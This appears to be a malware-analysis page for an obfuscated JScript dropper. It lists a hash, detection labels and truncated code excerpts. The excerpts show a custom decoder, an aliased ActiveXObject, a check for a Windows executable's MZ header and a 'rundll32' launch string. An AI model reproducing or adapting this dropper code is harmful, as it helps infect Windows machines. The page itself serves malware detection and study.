20161221_60b63650108d0a0035eb096a2eb80cbe.js
Obfuscated ActiveX malware execution
Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-256401e33050df1b81f8d276700faf64e8e1ce83af1c921f34013cfe9d6b5cf0c62
Evidence
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikfamiliarFROG2XCOP = 0;
9 var SupchikfamiliarRazlomSS, SupchikfamiliarFROG2ddDccC2, SupchikfamiliarFROG2c3, SupchikfamiliarFROG2c4;
10
11 var SupchikfamiliarFROG2out = "";
12
13 var SupchikfamiliarFROG2Supchikfamiliarka= this.replace(/FROSTICK/gi, SupchikfamiliarFROG2out);
14 var SupchikfamiliarFROG2len = SupchikfamiliarFROG2sud …
18:4… var Supchikfamiliarkoch = SupchikfamiliarFROG2Supchikfamiliarka.charCodeAt(SupchikfamiliarFROG2XCOP++) &(0x132- 0x33);
19 SupchikfamiliarRazlomSS = levitron[Supchikfamiliarkoch];
20 } while (SupchikfamiliarFROG2XCOP < Supchikfam …
27:41… +1== 0)
28 break;
29 SupchikfamiliarFROG2out += String['fromCharCode']((SupchikfamiliarRazlomSS << 2) | ((SupchikfamiliarFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikfamiliarFROG2c3 = Supchikf …
185:19… arFROG2d2=SupchikfamiliarFROG2DoUtra.pop();
186SupchikfamiliarFROG2fabled="Valar2Morgulis";
187 var SupchikfamiliarFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikfamiliarFROG2d2.split("45");SupchikfamiliarFROG2Native.SupchikfamiliarFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikfamiliarFROG2$type(a)===b} …
257:77… alabaev);
258 if(SupchikfamiliarTalabaevLaa < 29989)return false;
259 if (SupchikfamiliarTalabaev[0]!= 77 || SupchikfamiliarTalabaev[1]!= 90)return false;
260 SupchikfamiliarFROG2CHICKA = SupchikfamiliarFROG2CHICKA + SupchikfamiliarFROG2SIDRENKOV;
261 REBEKK2(SupchikfamiliarFROG2CHICKA, SupchikfamiliarTalabaev );
262
263 var SupchikfamiliarFROG2ddsSSddSd = ",happy";
264SupchikfamiliarFROG2ddsSSddSd = (SupchikfamiliarFROG2StrokaParam2,"undl") + (SupchikfamiliarFROG2StrokaParam2,"l32 ") + Supch …